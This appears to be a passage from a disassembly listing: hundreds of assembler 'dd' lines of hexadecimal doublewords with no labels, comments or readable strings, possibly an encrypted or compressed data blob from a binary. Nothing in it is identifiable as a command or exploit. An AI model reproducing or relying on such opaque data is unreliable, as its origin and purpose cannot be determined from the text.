		dd 0A0162A93h, 0C0382EE2h, 2A0F380Bh, 0E23B5CE5h, 62680138h
		dd 74B830DFh, 78D2E771h, 0C1417Ah, 3FF1786h, 972A4FF5h
		dd 0D86DEB7Ch, 0E51AC156h, 40F82862h, 0F7783AABh, 0E51D26FFh
		dd 53042366h, 577818FAh, 0E25A38E9h, 8A150C5h, 0FFFFF8A1h
		dd 0EE10183h, 12676ECAh, 0F294DA74h, 5413D29Dh,	11886831h
		dd 8158F3AEh, 0F575CA97h, 0B915ACEFh, 242DA67Fh, 17EC2C40h
		dd 0AB112D6h, 5249B28Ah, 411A59C5h, 0E70C10BAh,	26AD103Fh
		dd 444E9F56h, 5E2E08C4h, 0CC178C1h, 0E3E9A1E9h,	0DCE3FE23h
		dd 31C13BE3h, 0CE6F0D9Dh, 9C22EB82h, 0F4C3D0CBh, 928AAE07h
		dd 0A0C8AFDAh, 35747601h, 0E52A23F5h, 6F1B9128h, 0E29B9F84h
		dd 1A1448FFh, 61E8746Dh, 241E3F30h, 0B5BAC40Ch,	18ACA2F7h
		dd 5AF45584h, 9B052004h, 0BF17EC0h, 68D3A203h, 8FD75325h
		dd 0AA93BC66h, 0C5550298h, 88868461h, 97749300h, 54A6297Eh
		dd 26215944h, 51497D94h, 62D20B19h, 37D85F19h, 9917E702h
		dd 256758AAh, 0E579A7C1h, 9568A07Ch, 8C0D648Ch,	95FC5650h
		dd 4AB3814Dh, 2946D4CAh, 0E6833B24h, 0EEE21945h, 5AB4260Ch
		dd 5DF490A9h, 0F1F5312Ch, 13653839h, 0BAFB1B5Bh, 304EF814h
		dd 31B42ED0h, 7C075445h, 0CAAD7813h, 55660ACCh,	8F5A158h
		dd 3547928Bh, 2C06C957h, 61BE908Ch, 0CEE31B05h,	0A011069Ah
		dd 0C4003134h, 0F20DE1E2h, 702E3E01h, 19829396h, 0DCA8D175h
		dd 7C54B021h, 6531066Bh, 428F0543h, 8D0175E8h, 30168B03h
		dd 571654AAh, 0CBB803C4h, 0D41D8521h, 507627Eh,	454A952Ah
		dd 0F25479ADh, 0CB74CCADh, 0FF2459CFh, 3291865Ch, 4A2E58AAh
		dd 559E891Bh, 9F32E5B6h, 0ECE9CC5h, 0B18979Dh, 8C01FDAh
		dd 7C0492DDh, 0D5136EB0h, 0EED13409h, 28048A6Ch, 0FD6726F2h
		dd 924ED61Bh, 0ACA987B8h, 0E370D7E2h, 0F4ED54Ah, 0DB6C87E4h
		dd 0D4DE1575h, 0A0155EEh, 94B52A32h, 70910F2h, 8D63516Eh
		dd 179DE056h, 59F5C917h, 0D7588B2Fh, 0A415F4BBh, 0C3F0DB0Bh
		dd 0C9B51EFAh, 0AA739190h, 80631154h, 9196E0A9h, 0C604206Ch
		dd 0A4A16E3Bh, 0DB42088Ah, 8904C007h, 1E71A09Dh, 16C88E0h
		dd 10AE12B3h, 0ED8C5B1Ah, 1F31A7E8h, 1A40791Ah,	5F1F9C48h
		dd 7030B110h, 3AD52831h, 25882CAFh, 7A726125h, 7BCC89B5h
		dd 1FF6069Ah, 0C04E019Ch, 0AECA05BBh, 0E2E50541h, 0B34768B2h
		dd 4502AE99h, 1E7FD58Bh, 0DA1D44EDh, 0A8E7FAA6h, 5C0E370Ah
		dd 82B10C0Fh, 0EAF2D0Ah, 29126CC3h, 273E7D91h, 230D3476h
		dd 2D181509h, 5C142E58h, 61D047Ch, 405142DEh, 0F95B5E87h
		dd 4A532508h, 2B4D44F8h, 0B1377A99h, 0E47CED44h, 4AC1A092h
		dd 63DAE711h, 516C2F41h, 0AC5FA1FDh, 812481A8h,	4C13D3C9h
		dd 314DDEC4h, 0C9357A71h, 247C4984h, 37422E13h,	5BC4CB0Ah
		dd 3AFD64DCh, 26F4A66Ch, 8EC4C49Ah, 2F93826Ch, 7EF4C95Ah
		dd 0D92F7637h, 0BA51557Fh, 74FD0B0Eh, 338B272Ch, 768DA09Dh
		dd 0A5B4A7F2h, 0DEE33F6h, 8B3F4AAAh, 8E8139Eh, 0A97FB27h
		dd 476141DCh, 68E38E2Bh, 0D56CC2FBh, 2D51722Fh,	789CBF50h
		dd 7904E460h, 23950049h, 1079B939h, 4C510C58h, 58A1125Eh
		dd 0D6C5C6A2h, 39D69079h, 81135A21h, 5507493Dh,	0FF68752Fh
		dd 1011947h, 20D0775h, 512FAC22h, 0C0952127h, 0F34F84F7h
		dd 5AA1A8A2h, 0AF57958Fh, 43CB15Fh, 40B66B6Dh, 0ED79F73Bh
		dd 4F828127h, 3BD1DE8Fh, 13B07014h, 68CDF1F8h, 0D601FA68h
		dd 8570033Ah, 27AABDA9h, 4E9B0D1Eh, 0D83BCF30h,	422BA7C9h
		dd 0E1474C3Ah, 52BA6A74h, 0DC748EE5h, 0B9ABBAEFh, 0EC9EAAD8h
		dd 6104C3D3h, 0B47D7E95h, 18282BD6h, 0ED60202Ah, 4202ED99h
		dd 0B8C23C96h, 8BB0EB54h, 863A85A8h, 0C5F99280h, 0D6A6DD04h
		dd 1D7D7122h, 0F6536F50h, 559D1AFFh, 0DEA25D01h, 8D1CFAA2h
		dd 15D89399h, 0A9704E3Eh, 0C017794h, 0E60CD08h,	0C8CB4C3h
		dd 1D64323Eh, 0DF7F3863h, 647756C1h, 0ACA2845Dh, 5C4A0582h
		dd 6C5A4139h, 554A2ED2h, 8A3BE7A0h, 0C155B211h,	7A20629h
		dd 0E9CF208Eh, 0B11083BFh, 280DA085h, 29D8A274h, 0BBD518A1h
		dd 0B9B04CDCh, 8290E55Ah, 6C9417D9h, 7D788ABh, 652FD87Ch
		dd 0D765042Fh, 0B2CCFEC5h, 313B0528h, 0E2806D2Eh, 549E45Dh
		dd 1438BB02h, 0BB1C9B55h, 8A7AC626h, 358351DEh,	0EC37E240h
		dd 0E51C158Fh, 99C072A4h, 7048E314h, 14FD61FBh,	0F158A835h
		dd 8502B68Eh, 0AA0C0592h, 31B518B5h, 56FD904h, 8B22CFC2h
		dd 0E08CB1C2h, 4D41570h, 0A22E5597h, 14947D14h,	2551F5C2h
		dd 43A23F6Dh, 4A3FFC5Ah, 0BDD010A4h, 30D06B5Eh,	28111B5h
		dd 0EF8342AAh, 7FE692Bh, 9896E4B2h, 2F8155Ah, 1D2A7B23h
		dd 4E98A19Ch, 0C59A0D35h, 8CEB2992h, 0EE40D82h,	0CCCF6E33h
		dd 5B1B58ADh, 0A56BE075h, 0A952C881h, 0C3F016ACh, 492940CAh
		dd 10C8B8C5h, 3CAE6014h, 0E1FB629Fh, 26529C87h,	0B9AF0281h
		dd 7C7565CBh, 59944427h, 140472DCh, 654DAE06h, 0C92D0542h
		dd 6825D65Ah, 48E51AC8h, 8863703Dh, 6AD86236h, 0C5EE9E8Eh
		dd 0A82F9197h, 4B45D84h, 6E0F07CDh, 35661Ch, 258961BFh
		dd 42888EFAh, 9F35C641h, 527E2E37h, 14AD5448h, 0E2A9071Ch
		dd 21A11B09h, 0F9D610B5h, 148B1ACh, 4B50B865h, 2362DB0Bh
		dd 76BA2176h, 33013F45h, 83335988h, 2099A482h, 0C72CF0D1h
		dd 0B652F25Ah, 8A7D0FDh, 0A0D01AD0h, 7F2D3110h,	2F4D0960h
		dd 9B85BC97h, 14E7421Dh, 16F55A2Fh, 40FC0563h, 8E00852h
		dd 0D970D0B3h, 946E18CBh, 29CDB140h, 0C9FA8F5Dh, 0AB0A5F9Fh
		dd 0D42D1245h, 1CD7502Ah, 0A36B0499h, 0CA18A6D6h, 0E38A88Ch
		dd 984DF310h, 0B3038A3Ch, 33A9C2B8h, 2A8602EAh,	0D51315C0h
		dd 0B2960095h, 157531E9h, 1806130Ah, 2503D48h, 0B9F08360h
		dd 0B07F0366h, 0B15BA0ABh, 756D41C1h, 1CCA5CACh, 80B25481h
		dd 7B483395h, 8112E555h, 9981AC71h, 0B4B40A11h,	0FD01B42Bh
		dd 0B01501Ah, 0DE9132Dh, 485E0CBCh, 0B9E26339h,	1AA52Fh
		dd 5C0195DDh, 91E91Ah, 580C9D32h, 9CD9A843h, 0B388BB00h
		dd 3DA84040h, 12C1A59Eh, 8EC2722Dh, 17D10A09h, 8321C9F1h
		dd 0DCA09781h, 966C5717h, 0A0E5FA3Fh, 0F5CBB7ACh, 0B27A6050h
		dd 25F60F96h, 0EE84B846h, 0BFC6E1C0h, 0FC53E87Eh, 618037Dh
		dd 114ADE22h, 54A23E1Ch, 0DA805C62h, 7AFF50E1h,	42191A0h
		dd 0A06383Eh, 5C0989D2h, 0C913104Fh, 8BEC4BB1h,	7DF5F08Dh
		dd 0A2B55667h, 6FBA5A55h
		dd 58C281B5h, 0D7CBAD48h, 5A34ABD4h, 79610682h,	572801CAh
		dd 1C30EE68h, 118B189Ah, 9046A5EEh, 1B880192h, 18A198Ch
		dd 81AB03BFh, 250D5468h, 442246D9h, 8004160Eh, 0D814E84Eh
		dd 9191175Fh, 0F0EDB482h, 0AE9C8481h, 0C9041A85h, 5C09863Fh
		dd 69691120h, 2C7CFA3h,	0F238BE4h, 2A52D282h, 329148h
		dd 60C3F012h, 633C4D88h, 14F167C6h, 604A6C2h, 5A824A25h
		dd 0BE0ECFEFh, 508DF54Dh, 88C7D1D6h, 0A5F9EC49h, 0AD58AE0Ch
		dd 0A445042Eh, 5B151557h, 0E583F693h, 8F78E08h,	2A64EE8h
		dd 0AC0081D2h, 66E3C5E6h, 75C5AFC1h, 8D297110h,	76632BF1h
		dd 9E0FDCFBh, 7A0C7C9Ah, 8CF1C302h, 0B6A29C1h, 4D378402h
		dd 2CE138Ch, 0E928E559h, 8782FC0Dh, 0F1A9A29Eh,	7FB52093h
		dd 0B2E992F3h, 0D64A5FA5h, 81486611h, 0BDC29568h, 0A0A856A9h
		dd 4280CB9Bh, 0EA64E101h, 1E5AB6A0h, 0AB1295B6h, 0AEF567F6h
		dd 0DAEF458Dh, 24A20B12h, 0B4311745h, 1864AFD3h, 0FB6871E5h
		dd 0C100573Ah, 15069F2Eh, 0C7D111D6h, 20111FEh,	2A9259CDh
		dd 8BC750FDh, 1856A420h, 69C54730h, 759B3218h, 0B7FAE386h
		dd 4AF822BDh, 114FE146h, 0E4B68A6Bh, 580145E0h,	0E7524257h
		dd 7924480Eh, 5B0EBE95h, 6341FC21h, 40B2CC4Eh, 26640254h
		dd 597E9F64h, 7A3FDFAAh, 0BE79B38Ah, 0B91FBD78h, 0AB9FDC2Ah
		dd 0F042B57Ch, 1758AEE5h, 1B05B2D5h, 2D0639ADh,	0FA93D8F4h
		dd 0C5368238h, 0A2ABF8DAh, 0A8968D73h, 0EC3FD4DFh, 20F5120h
		dd 0EA8E2D0Eh, 0A502CAE8h, 0CD7C48FCh, 2098E7A2h, 33C0E170h
		dd 0B4210746h, 89C80827h, 160ECCE7h, 0D67D5E9Ah, 39CE398Fh
		dd 0B6C145E5h, 7C53F58h, 612B1AFBh, 5428F0DCh, 8962FD2Bh
		dd 87731476h, 0C77A73BDh, 0B5EE1CC5h, 0A080065h, 0A7012433h
		dd 0BA068771h, 0E3147975h, 7C02BB46h, 254EB1Bh,	0A477AAB0h
		dd 76A81FE9h, 11063C59h, 21B04EACh, 8BE7F727h, 2D563C90h
		dd 29FD142Ah, 660340B0h, 3995496Bh, 48C3E576h, 2AEE7851h
		dd 8462587h, 0DDF7F11Eh, 0BD2D0529h, 0C032E975h, 4A37D871h
		dd 27D120BEh, 70CD2175h, 44E4BCD3h, 71AE6958h, 6E55CE5Ah
		dd 0FC0AD16Ch, 0A0E0ABD0h, 49DEE90Ch, 0AE5FF850h, 2EB13416h
		dd 0F5120608h, 86E26C1Eh, 0D0A28173h, 4297098h,	97E72585h
		dd 0D56BDB5Eh, 0D1E42282h, 0EA7F5456h, 826A839h, 0D698FA6Ah
		dd 0BA60F6ACh, 0B1AD5A2h, 0C5E5DCC5h, 7127FF52h, 0B4E84338h
		dd 0DE717D6Bh, 21C02006h, 72FA7485h, 0D4A04395h, 0AACD7AE4h
		dd 0E2EA1CB9h, 0E26C0BFh, 4042104Ah, 0CBD820C6h, 0D851836Dh
		dd 0BFD969A2h, 6DDB7D04h, 0F33FE87Eh, 48AFF2C2h, 3A568ADEh
		dd 0A79F8978h, 20618EE1h, 0D4615ACBh, 0BD4282D1h, 0E21A18F4h
		dd 5AD1E968h, 0AAD3D5C4h, 0B6D1BC49h, 0EFF450C4h, 0A5A31655h
		dd 65110918h, 0A308389Fh, 115A58A5h, 249F9F5Fh,	5A3D2168h
		dd 27D35911h, 48DD68A2h, 9C31C4F2h, 3B447968h, 0C902DED1h
		dd 13E89117h, 37B52F43h, 0DD8A2279h, 2D7242B7h,	0C8957826h
		dd 0A72C773Fh, 4D405F9h, 4D1BC6DFh, 0FB2E0437h,	9D6AA733h
		dd 14F48AC0h, 6A82D3BAh, 993DA55h, 2598EFB7h, 0B8C6CFFAh
		dd 0D80F5080h, 0F6419193h, 0B43CBD7Ah, 0D530B609h, 0FD46AEE1h
		dd 44A25261h, 47D88416h, 2F22F800h, 622997C1h, 51AFC08Ah
		dd 31ECE8E0h, 8645B59Eh, 0C3E3076Bh, 0A9E1AA64h, 5ED189B8h
		dd 0AA82021Dh, 185480A7h, 9FBCB51h, 77045324h, 0DE2B2C25h
		dd 5D18119Dh, 8A2EB8B4h, 4552CFA4h, 34B391DBh, 77649EFBh
		dd 4C4F8275h, 5A4DA7Dh,	0E018B409h, 58D0A149h, 10A6AE1h
		dd 0D9766826h, 2A1BA231h, 31B0B920h, 0B42C1780h, 0D17B5580h
		dd 305232C8h, 85004421h, 0FDA4251Fh, 0CEE6DB70h, 9CD1CE72h
		dd 273B045Ah, 28DD2E45h, 661D5E00h, 47626475h, 0F01594h
		dd 3A4A469Eh, 0B7231C2Ah, 7AE5F836h, 20B4F48Bh,	0B4DC8351h
		dd 0FB386904h, 0BAC27DAEh, 36A17934h, 68B6C212h, 0C134414Eh
		dd 0E7777A97h, 0A87E8651h, 0F4E8D7B0h, 5AE43A74h, 32EDA00Dh
		dd 0C22DAB00h, 0AA3AC72Ah, 18F20122h, 0F287E2EDh, 28A9ECA4h
		dd 417968Eh, 50812DFh, 472A6476h, 0C95662ACh, 48F7h, 83140765h
		dd 9845A255h, 4345BAC5h, 0AC051DC6h, 0FDF5392Fh, 0FF72D99Bh
		dd 8AE33410h, 4AD07414h, 550B1DFCh, 0D817FF78h,	14C505Ah
		dd 1967F15Dh, 0DF08B381h, 602BC73Fh, 442E52E9h,	0BAAC4686h
		dd 4814B3EAh, 0BD66CAC2h, 42A02FC2h, 0C55DC33Bh, 0E8242108h
		dd 0B3CBA316h, 0D393140Ah, 5D407B5h, 0D3BA5FABh, 9A66C2B2h
		dd 63377591h, 9CB8AF3Fh, 9F62C24Eh, 45053CDBh, 88AFE0E6h
		dd 0C6C3E972h, 75CD3ECDh, 2FF35903h, 5DCD56EEh,	8A13DDECh
		dd 27F5973Bh, 7841DB5Dh, 0D4757DB2h, 0C0EA15C3h, 0BB99C833h
		dd 0C6A5842Ch, 4FE158EBh, 5ABBEC43h, 77117581h,	0A9A58E9Fh
		dd 1BF8E0A0h, 11496814h, 7F562AC1h, 9A09F24Bh, 5BA28BF5h
		dd 4B168006h, 0DE672925h, 73BC379Bh, 0BEFEF867h, 151F801Ah
		dd 376A2D54h, 7CD0ACEh,	0F9740755h, 0C36A8A21h,	4079E14Fh
		dd 3E7D8055h, 0BD025453h, 397029BBh, 897E5DEBh,	7444D062h
		dd 0B81B1CB9h, 5FA14C26h, 9E926777h, 0B6BB3B3Ah, 2B6AC252h
		dd 0A0D419E6h, 372535B1h, 2258C408h, 43A2D640h,	846DCABh
		dd 0BE80B681h, 8C9CE5DCh, 2E712175h, 401CFDD0h,	46D4456Ch
		dd 0C9DAB16Dh, 61A936AAh, 0E6F8A9EAh, 64E041F2h, 0C6BB581h
		dd 842AA9D6h, 145B43DDh, 104DF6A7h, 0D8B31E68h,	0CE0411B4h
		dd 28AB6B8Fh, 0ADD4329Fh, 3E9C91B8h, 82A560Eh, 0BA51ECD1h
		dd 61741F65h, 77A7A31Ah, 8FC686ABh, 73912D01h, 9868D0C7h
		dd 0F466738Eh, 99C6FE56h, 0D3958E60h, 52DAD4C1h, 0D4172F5h
		dd 0E45F7F03h, 5D11A16Ah, 59436FE6h, 0AA7339A0h, 82852210h
		dd 30132D1h, 4C56B61Bh,	0F537461h, 20D4120Ah, 4C2CC856h
		dd 54C6D5AEh, 6FA93AC7h, 136D286Fh, 0A155951Ah,	57F927A2h
		dd 4027B1D9h, 0D8EFE16Ah, 984812A7h, 416B112Fh,	0B6E2289Ah
		dd 2A5A3769h, 64539015h, 608EB059h, 0D7F2091Ch,	0DACFB467h
		dd 0DF5C3700h, 0A887AF1Fh, 0A8B5C2Fh, 5D266C7Ch, 0F58FC60Fh
		dd 430A8A1Eh, 928BB08Ah, 2CA87380h, 1A7086Ch, 5987519Bh
		dd 26DB2081h, 32D2E0A8h, 0FE62C945h, 144288A1h,	0DF1FD616h
		dd 0FDDA149h, 0EB1659D5h, 0A945E75Eh, 0AFA15446h, 983951FCh
		dd 0D711A03Eh, 20670AC2h, 130F380Eh, 2E73EB38h,	961009C6h
		dd 55329C1Dh, 5F6AB740h, 0C640AC98h, 15A2E1ACh,	0DDE9186Eh
		dd 0CD54D84Dh, 70752ACDh, 7355483Dh, 0FC2D8038h, 224B5B14h
		dd 0A4D69C29h, 2EFB3FADh, 0F6DF1E3Eh, 0A20AF499h, 545D7963h
		dd 4DA7F40Ah, 1D867893h, 9918F538h, 67824360h, 158254B1h
		dd 93BC654Bh, 5DEC297Dh, 0A62A6A06h, 2DD5D6A9h,	38F23B0Fh
		dd 4FDB48B2h, 0B3CAD39Bh, 10B4EA10h, 8DB0B3EAh,	0B1DDE3F8h
		dd 0E342578Eh, 0F2C28DE9h, 152466B3h, 5C6A68BAh, 7B4E77Bh
		dd 0AB131AE9h, 140018A9h, 4B279053h, 0ACA81D09h, 0AEFFD14h
		dd 0DAB57A66h, 59F09752h, 0B925519Fh, 6FF9079Ah, 2D5106E3h
		dd 90224778h, 0CC1EE050h, 21D29644h, 0AB9BF5D7h, 1975A01Ch
		dd 0E4D178C1h, 65F28EB2h, 0A92E17A5h, 0EB90CD1Fh, 13313839h
		dd 10A1BAE6h, 0C9401F55h, 4A595451h, 35A82929h,	0A9F689AFh
		dd 0D7680786h, 8AB86B2Eh, 865DFC9Ch, 0F9C4D136h, 45EA62CDh
		dd 0AC92C1BDh
		dd 5BFFE114h, 2E28F5C7h, 0FAD3AAECh, 2E3040B7h,	90797D50h
		dd 8A55C8F2h, 0F4E4C28h, 0D405DF58h, 98F9241Dh,	0FBF36FFBh
		dd 55AEF048h, 960211FCh, 0BA2CB220h, 0AA28712Fh, 4CF1E719h
		dd 0E1FA742h, 7E0888D7h, 546002D5h, 0F659C589h,	0D99CF267h
		dd 0D77E285Ah, 4094602Eh, 2B473880h, 8566C166h,	0C06F13A8h
		dd 9D25E72Eh, 0A726A0h,	0C8DCBAC9h, 0B253EA94h,	0A37692Fh
		dd 1D680371h, 1AC11B09h, 0AE359490h, 5DC882Fh, 75828AC2h
		dd 958FF25Fh, 1FBEDAABh, 18885C0Eh, 8C4CE062h, 143165A2h
		dd 0FC2B272Ah, 83637F9Dh, 0F708372Ch, 6823E541h, 0E705BA19h
		dd 0D0565477h, 21AC814Ah, 8A02A6C2h, 0A178FAA1h, 7CD892A7h
		dd 42BDF82Bh, 2E5A3FC4h, 0DF57485h, 2D1AD080h, 0FBC5DFDCh
		dd 6E066C8Eh, 0A9E026B8h, 928C06AAh, 0F0AA4E57h, 8BA7ECF3h
		dd 13B37D5Eh, 50CDFAD1h, 2FC20224h, 7ECB5597h, 703F759Fh
		dd 0ACFB300Eh, 70E80B5Ch, 0DC4F9BFDh, 2E47B53Ah, 7A0ACA89h
		dd 276B0A63h, 0DF5D5C26h, 2831E401h, 0D3766D57h, 92ACCA92h
		dd 0AA305D94h, 0BE62CCF3h, 0D406CBB2h, 66FCAE0h, 0D4202E93h
		dd 5B46FAB2h, 63138F18h, 0B573BA24h, 77568517h,	3DAB9931h
		dd 9535FB40h, 0AEC25A36h, 1F5A5FAh, 181D60D2h, 24192B7Ah
		dd 0AD844497h, 4D3F7F3Dh, 3C49B172h, 29940333h,	8623FCB6h
		dd 958DDA03h, 4A225342h, 60670BBEh, 7489FD6Ah, 252E816Bh
		dd 4E094E54h, 0ABCFAD7Ch, 0F7365AA0h, 0C5B08DEBh, 0CE4AF00h
		dd 54D40F6Ah, 0F6FA5A09h, 57EBA57Bh, 2EBC2AEh, 5208D33Eh
		dd 76D367F6h, 4ABCB583h, 7F80AD81h, 5ACDE857h, 853719F8h
		dd 9D14AFB0h, 62179AAEh, 0FDF29CD7h, 4BE84919h,	7C0EAF4Dh
		dd 60921161h, 0F2C389D5h, 2ED61565h, 5019A28Ah,	0F086AEC8h
		dd 26D8ABC3h, 727008BDh, 8B44FC45h, 58E05D8Dh, 6102602Dh
		dd 442D633Ch, 7568A6EEh, 0D57E07Eh, 0A316397h, 455B47Bh
		dd 0D53CAED1h, 538D018Eh, 4A8D7D95h, 0FAA0049Ch, 47137987h
		dd 2463C95Eh, 9EB8FAD1h, 0E4414F21h, 0C507D367h, 238AA6B5h
		dd 983F2BA1h, 0B376FDE5h, 7317C40Ah, 9A40B330h,	7301865Ch
		dd 4BEE754Fh, 45D73C84h, 0A829903Ah, 1228E940h,	0FB072F81h
		dd 4E555699h, 56048EB8h, 0F5279B27h, 95230BC7h,	74BE5EF1h
		dd 15BEE240h, 4E902E95h, 6864C42h, 2969B77Eh, 1E81FD5Fh
		dd 9070CE74h, 0B46E136Ch, 0DB7A6912h, 6C372ACFh, 72796133h
		dd 54D8974Ah, 1F588044h, 838D8FE3h, 7828D9B0h, 381C45F4h
		dd 0B3627F9Ah, 0F73BE012h, 353DE8A5h, 0BBC1414Dh, 182E8611h
		dd 62ED4E6Ch, 202F75E7h, 0CB690350h, 9B000DDEh,	9EDBF26h
		dd 0DF70F036h, 85176F77h, 63A5157Ah, 0E56970FAh, 0B5DA5953h
		dd 182707D9h, 8BF8203Bh, 0A434E67Ah, 4E625A92h,	0E72CE28h
		dd 0BAD11AEh, 0E1FF5068h, 0F88CCEB6h, 0B679895Bh, 5596B474h
		dd 509568B6h, 90B2C972h, 0B996BE60h, 65597916h,	0A9DE3F6Ah
		dd 573314ABh, 2D14EA34h, 0EB7E3245h, 7D2C44AAh,	0EACB2FCCh
		dd 683D59D1h, 565C0857h, 6349A249h, 0FE8F9548h,	2AA36E8Dh
		dd 2AADA91Ah, 6A488B69h, 77AD2137h, 0AAD05435h,	4116194Ah
		dd 47F0A92h, 0B5339829h, 0C3BF1124h, 64D5B5Ch, 0D6187A37h
		dd 18405063h, 0E517751Bh, 8BEC7D7Bh, 28BFDBF4h,	0D1EAAD3Fh
		dd 1A68BF47h, 6C5E6555h, 13836135h, 6B7D15BEh, 0A76EE830h
		dd 9336EE51h, 0E52A6551h, 843E8E7Ah, 15B13E2h, 998A5A36h
		dd 0CAEA5665h, 0A42EE8C3h, 0C7CBA28Eh, 8FE4D0AAh, 0BF8539DDh
		dd 98686239h, 0C48324CBh, 0AA5408B7h, 95411A6Ah, 7CF1999Ah
		dd 0F88F4A56h, 0B60200E3h, 39B93832h, 3D85A8AFh, 3F72EB9Ah
		dd 6C194555h, 0D2E870C3h, 6C7F1EB8h, 479C68Ch, 0E5692D11h
		dd 88D3694Fh, 5CAB77A0h, 80193FB5h, 9E40EB54h, 2753015Ch
		dd 7D4BA957h, 0AAC512EFh, 75A9508h, 7245AD82h, 0CE86B54Dh
		dd 5A029779h, 3F9F1AB6h, 0C5E98861h, 0A2BFB57Ah, 8A04DDF4h
		dd 5F70BC5h, 206845AAh,	7544EC03h, 43A0E512h, 0E0A5715Dh
		dd 0ACC22DAAh, 8BCE904Ah, 3DF308EAh, 0B3350164h, 5DED59A7h
		dd 25067310h, 35CF8A52h, 23D13295h, 59AEE677h, 4522753Dh
		dd 0E4FA274Bh, 8271D809h, 97D5B975h, 8A6A8997h,	0FB26E8CEh
		dd 0D0407A95h, 8B076EBCh, 7428D21Bh, 2ABEF111h,	0AE6BC3C3h
		dd 6669849Ch, 91572762h, 97435715h, 1C55C6C7h, 230B3AEBh
		dd 0AB8C733Bh, 7D21A16Ch, 3DE5A959h, 0CBA5E55Ch, 8943F41Eh
		dd 9057C1BDh, 2ADBAB37h, 441AF1F9h, 5D0BE223h, 24801505h
		dd 0B45E500Ah, 9E8E1920h, 57521731h, 82AE30D9h,	0A1DEBDCFh
		dd 1E650DE4h, 6610BE66h, 657054FDh, 2F4A1455h, 39596AFh
		dd 39D22948h, 7E805D25h, 466ABB15h, 3BF5A289h, 900AEC28h
		dd 0A3AEBCEAh, 847C3F7Dh, 87A13929h, 22AF5363h,	0DF221BE9h
		dd 0D5984157h, 0DE58AAC8h, 1845BD61h, 78146F92h, 4BE10F67h
		dd 37C6F9E9h, 8A60728Eh, 15D4D402h, 0D05BB406h,	5B8AEDC5h
		dd 0A3833E17h, 5129AE7Fh, 0A5E0CCAAh, 0D20384FDh, 0EC4BACA6h
		dd 7E7349C0h, 0FA646B1Ch, 2A946CE3h, 0FDA2A0DFh, 902E4B1Fh
		dd 3E6280D1h, 0A4BAFE99h, 4D74F0A0h, 0E2AA41F5h, 3C0684EDh
		dd 0FA798D1Bh, 0FE1A7F9Fh, 0DD776DF3h, 83EAA55Ch, 0BA880FEh
		dd 7AD8466Dh, 615D46CDh, 0EAEFDCA0h, 11FC5D48h,	34AC0B43h
		dd 6FEC5DB5h, 6C8DCEF8h, 128D465Dh, 0A116E0F3h,	51B8E0A6h
		dd 7C66E55h, 0F1159F97h, 1272E3EDh, 0A43F771Fh,	19CFA6Bh
		dd 0ED09F1h, 0CB294EF7h, 0C54A9E6Fh, 279B4329h,	41411574h
		dd 3A0DA4E6h, 30B70407h, 80AA9086h, 2AFDC089h, 0C7FEA256h
		dd 78C2FA9Ch, 11272701h, 7654D777h, 0B5BACCCh, 7E235074h
		dd 7CDCD8BEh, 62C00B80h, 947F17FBh, 0FDB58108h,	3787220Bh
		dd 591CD8B5h, 90E33205h, 0D97BEA08h, 38405A07h,	0F959AEDAh
		dd 250D9D85h, 0EF271F7Bh, 0A6ACEA1Bh, 0A46C19D0h, 1BD9BA94h
		dd 0BA906470h, 0F02D481Ch, 0C2EAC569h, 4165318Ah, 2BDE1DC2h
		dd 51426AABh, 0A196C616h, 5AB9BA54h, 0CA8C30A2h, 5DAFEB08h
		dd 0C508B74Dh, 0B7B1D3C8h, 2089EAC8h, 0A6498852h, 1015B24Ah
		dd 8669DDA1h, 0A18827AAh, 0FA7184FCh, 0EA3DCEB6h, 1138EB6h
		dd 8348EF54h, 1591048Dh, 37A8FAFDh, 0E802CC6Dh,	0F2A3D992h
		dd 8350707h, 278A5368h,	0A7369BA5h, 68B0D9E8h, 9BA5371Dh
		dd 5F3F5655h, 0ADD92FB9h, 0BB6F16Dh, 5460FD28h,	5CA6FC70h
		dd 39326779h, 394A0B6Bh, 52B2800Ch, 0B4A03CF4h,	1411FCF4h
		dd 0F208BA39h, 8A18B519h, 8B48869Ch, 0A66CAC6Ah, 1DAE5D44h
		dd 0F7027940h, 53CCB12Fh, 34D865C9h, 70EFC128h,	842C34BDh
		dd 3F6DF705h, 0CE4F6A24h, 881C000h, 80C407C1h, 0C6A895A9h
		dd 0ACA22657h, 72A628A6h, 6E613228h, 1B222D55h,	8F04D41Dh
		dd 60406AB2h, 5E2F50EDh, 2B51F836h, 0E561F2C1h,	4BAD074Dh
		dd 9684F43Dh, 15848DBEh, 5DFADA36h, 43F15A73h, 6B562CEFh
		dd 74FCE45Fh, 0C3167F66h, 39460DD4h, 0CE79AC6Eh, 0EB139599h
		dd 0E70EC16Ah, 886B7875h, 197671D5h, 5207BC21h,	0E7155BAEh
		dd 878170F9h, 9D2B6A9Bh, 0FB6A17D0h, 1DACA94Ch,	9592872Dh
		dd 0E7EA2A03h, 0AB6F5BF7h, 0ED20E941h, 0C35A9D53h, 0D150D03Eh
		dd 25A4146Eh, 6E0C5FFh,	0CD32AEA9h, 56B82355h, 8D3C500Ah
		dd 0ABF77E0Fh, 3755706h, 0D6D1E1A6h, 2EA7EFFCh,	0D0B81FBAh
		dd 0FE419DAAh, 503E7707h
		dd 4B5F3D97h, 94ED03A5h, 0A60A188Dh, 0C48169C2h, 44158EF9h
		dd 0BF491ADFh, 58A17048h, 1640F174h, 2392C9A7h,	0B918EE11h
		dd 41B90CDCh, 0B0B5AF2Ah, 0A28DEB89h, 0CAADE4AEh, 0EE67E633h
		dd 67001877h, 543E0CE1h, 0FC253353h, 0EB8C2AD0h, 3939DA06h
		dd 1433C8A2h, 8D02CC59h, 4698112h, 0E56A42D5h, 0A1909521h
		dd 0E0B7A10Bh, 12A968D4h, 51CAFBCEh, 99C4EC08h,	4C779E8Fh
		dd 2EF2030Ch, 20609003h, 0E070135Ah, 0FCDCC3BEh, 5255E88Ah
		dd 3093D565h, 8CEE06A2h, 8B475CD3h, 50506149h, 6ABFB810h
		dd 7140A025h, 0DD289EA8h, 0D68AD176h, 31C2B185h, 5AA0474h
		dd 4691B78Fh, 9B100328h, 2070F5C6h, 9DD0DE6h, 0AB417502h
		dd 739A89C9h, 0A5CBA3BDh, 6A82CAFAh, 6C188095h,	140A2BCBh
		dd 72A78D76h, 42D2540h,	501E6868h, 0E4C621ADh, 0B2BC6795h
		dd 34598683h, 0A712999Ch, 992B64D1h, 0AF224B6Ah, 6491C99Ch
		dd 44FEA837h, 0CA9B65CEh, 24382AF4h, 4922F8A7h,	0D54438F0h
		dd 0A0FF8498h, 527B8396h, 28F6918Eh, 8B4A4439h,	9AC3A396h
